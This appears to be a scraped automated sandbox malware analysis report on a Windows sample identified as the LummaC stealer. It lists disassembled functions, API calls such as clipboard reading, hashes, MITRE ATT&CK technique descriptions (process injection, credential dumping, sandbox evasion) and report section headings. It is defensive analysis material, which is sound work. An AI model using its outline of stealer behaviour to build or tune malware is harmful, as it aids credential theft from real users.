APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00433E7C

Strings

C, xrefs: 00433E3C
\, xrefs: 00433E47

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: 00ba4f5d0a26320f58e339930330edb05eddfd77f24e5733e99c389846c8c668
Instruction ID: f7852513ce245157cb415b6bfc14ef2ee77568f85ad9ad8f5583f67a4451fe21
Opcode Fuzzy Hash: 00ba4f5d0a26320f58e339930330edb05eddfd77f24e5733e99c389846c8c668
Instruction Fuzzy Hash: CBF0E579254341BBE718CF10EC16F0A33A49B81704F24882DB246EA2D1C7F0B904CA4C

Uniqueness

Uniqueness Score: -1.00%

Function 00424D75 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 419COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042536F

Strings

AODJ, xrefs: 0042560A

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: AODJ
API String ID: 3960555810-2067138614
Opcode ID: 704642b2d01b6681c0043daa78fb2413d2679f85d8dfb6cacabe66dd70e0d32d
Instruction ID: a08f39bb112014f2f1657a94d447c7f30b599b94c0c8f351ef59b3403e6794f9
Opcode Fuzzy Hash: 704642b2d01b6681c0043daa78fb2413d2679f85d8dfb6cacabe66dd70e0d32d
Instruction Fuzzy Hash: B2F16D70504F528BE726CF35C0647E7BBE1AF16308F48496DC4EB8B692C779A506CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0042523F Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 358COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042536F

Strings

AODJ, xrefs: 0042560A

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: AODJ
API String ID: 3960555810-2067138614
Opcode ID: cc748f89e026e4aa52296d49e17efc31094b57add59ab72c734c32d69b0c0fbc
Instruction ID: 0fda6418af78e69ba57df9bcb3992236a43b7b6399a2a26a87244ff26623ea66
Opcode Fuzzy Hash: cc748f89e026e4aa52296d49e17efc31094b57add59ab72c734c32d69b0c0fbc
Instruction Fuzzy Hash: 82D16C70504F528BE726CF35C0687E7BBE1AF16308F84496EC4EB8B692C779A506CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00414720 Relevance: 3.2, APIs: 2, Instructions: 218COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00414809
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00414838

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 220dc30ddd408f96ec77eb45417a19a1ffca7041cdf55e136762cbfd1b2d9bde
Instruction ID: 7dcc9c6cdf66f0fd58bb55d9f59981dd19f82d8293439122bf3b1d75ada9596e
Opcode Fuzzy Hash: 220dc30ddd408f96ec77eb45417a19a1ffca7041cdf55e136762cbfd1b2d9bde
Instruction Fuzzy Hash: 96716BB4900B009FD334DF29C856BA3BBE5FB49310F044A1DE9AB8B791E774A4458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004386EA Relevance: 1.6, APIs: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 00438792

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f15e1859f4525b3c50a04a2710c5d1f37ec115bfaff45a60f83541cf4b0acc47
Instruction ID: a75c113e4f765b9b5993dcce8f983539bd3cb48dbbdcc8a6ccca6852859b9d7e
Opcode Fuzzy Hash: f15e1859f4525b3c50a04a2710c5d1f37ec115bfaff45a60f83541cf4b0acc47
Instruction Fuzzy Hash: 50214C352183409FD318CF10C8A0B6BF7E2EBCA324F659A1DF89647791C7749806CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435AB0 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,004099FB), ref: 00435B52

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 37ea91a0811c95d40b2cb9f8293c2b99a71fc6676d7c6db9284bae4006a5d230
Instruction ID: 4d35b39fb30f58a15e8b4261a445f7b9a7268aef18239ad64b196b65f77c7a0f
Opcode Fuzzy Hash: 37ea91a0811c95d40b2cb9f8293c2b99a71fc6676d7c6db9284bae4006a5d230
Instruction Fuzzy Hash: DF116D312087059FD718CF14C8A4B9FFBA6FBC5328F148A1DE8A517691C775A90ACBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00435BB2 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 00435C25

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 47609bdb75ff9a0bd9befa6bcdb2ded7c72d3fabf37161c47dd5ec7f30a64e57
Instruction ID: 8bc72e464bb8c67856a86a855d011e9863e9759b98bb0498aed1e28e5184cafa
Opcode Fuzzy Hash: 47609bdb75ff9a0bd9befa6bcdb2ded7c72d3fabf37161c47dd5ec7f30a64e57
Instruction Fuzzy Hash: 37117335A0A7C08FE3178B249C50585BB72EF5732472D82DFC4998B553C238691ECB61

Uniqueness

Uniqueness Score: -1.00%

Function 004382F7 Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 004383A1

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8a96e1facb4f4dbc7f71337e122414cd4cbbfe655965e7e7416224cc8a7c2ccf
Instruction ID: 4e7ffbd948481661c6ae6d36eb25790ea1520d4cfae2f519e16c3e2f66907490
Opcode Fuzzy Hash: 8a96e1facb4f4dbc7f71337e122414cd4cbbfe655965e7e7416224cc8a7c2ccf
Instruction Fuzzy Hash: D211DDB051D3819BD709DF04C5A871EBBE2FFD9718F245E1CE1D21B2A0C77A85458B8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042DBB0 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 164clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042DC09
OpenClipboard.USER32 ref: 0042DC1B
GetClipboardData.USER32 ref: 0042DC3E
CloseClipboard.USER32 ref: 0042DD77

Strings

8, xrefs: 0042DCDB
w, xrefs: 0042DCCF
#, xrefs: 0042DCB7
+, xrefs: 0042DCB3
#, xrefs: 0042DCD7
%, xrefs: 0042DCC7
*, xrefs: 0042DCBF
>, xrefs: 0042DCD3
-, xrefs: 0042DCAF

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: #$#$%$*$+$-$8$>$w
API String ID: 2278096442-1308166566
Opcode ID: 9e8195ee21946f00d04abc4bf74c4716ac4220f48f77454d7dab7f858fbfbfcc
Instruction ID: 6dabd5ff6e4084959593b92fb4858d06eb42fb658209fef43edfe3ca8a1cba98
Opcode Fuzzy Hash: 9e8195ee21946f00d04abc4bf74c4716ac4220f48f77454d7dab7f858fbfbfcc
Instruction Fuzzy Hash: 1A61A0B4A08740CFD710DF29E485716BBF0AB56314F548A9ED8868F785C379E806CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0042E42F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0042E45C
GetSystemMetrics.USER32 ref: 0042E46B
DeleteObject.GDI32 ref: 0042E4C8
SelectObject.GDI32 ref: 0042E51A
SelectObject.GDI32 ref: 0042E598
DeleteObject.GDI32 ref: 0042E5D3

Strings

, xrefs: 0042E565

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 6b3adec5283382c8998b18e9f52674ae7d030fe91863da167dc2bc584f9db1ba
Instruction ID: 1817ff47aa5ca451eab720458ac1642dca2340dc9b3192ca43a4c8fc496406f6
Opcode Fuzzy Hash: 6b3adec5283382c8998b18e9f52674ae7d030fe91863da167dc2bc584f9db1ba
Instruction Fuzzy Hash: A7517CB4505B408FC360EF69D685A1ABBF0BB98300F419A2DE89AC7B60D734F845CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D645 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040D873
ExitProcess.KERNEL32 ref: 0040D882
ExitProcess.KERNEL32 ref: 0040D891
ExitProcess.KERNEL32 ref: 0040D8A0

Strings

8C, xrefs: 0040D6BF
C, xrefs: 0040D70D

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$C
API String ID: 621844428-4036777611
Opcode ID: b2e6b163f8770e3269f9a79d93b763158bbaf9e878ab14013538e5446b449ee5
Instruction ID: 5314f597a3064ada1ecc355464a4679b2ff7ffcd65b18285bae9cdd45f145242
Opcode Fuzzy Hash: b2e6b163f8770e3269f9a79d93b763158bbaf9e878ab14013538e5446b449ee5
Instruction Fuzzy Hash: 56916F70508B808FD329CF29C494B12BFE2AF56314F19869DD4DA4F7E2C779A409CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040CFA7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 204COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040D1B3
ExitProcess.KERNEL32 ref: 0040D1BF
ExitProcess.KERNEL32 ref: 0040D1CE
ExitProcess.KERNEL32 ref: 0040D1DD

Strings

8C, xrefs: 0040D008

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C
API String ID: 621844428-2849189062
Opcode ID: ba1dc857f609b9581e0c0bc08f4ec890d78d3abdb69fe2eddc72efd21a42c279
Instruction ID: a4409df68f48b988d27b223d85f266bb36461cc51f7b8507b1b5986e734ebe17
Opcode Fuzzy Hash: ba1dc857f609b9581e0c0bc08f4ec890d78d3abdb69fe2eddc72efd21a42c279
Instruction Fuzzy Hash: 72915D70508B818FD325CF38C494B12BFE1AB56314F09C69DD4EA4B7E2C779A409CBA6

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PASS-1234.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
PASS-1234.exe

Function 00E129C5 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 00D9889B Relevance: .0, Instructions: 22
COMMON

Function 00D8542B Relevance: .0, Instructions: 12
COMMON

Function 00D1192E Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
registrymemorythreadCOMMON

Function 00D8A58B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMON

Function 00D85392 Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Function 00D8A688 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON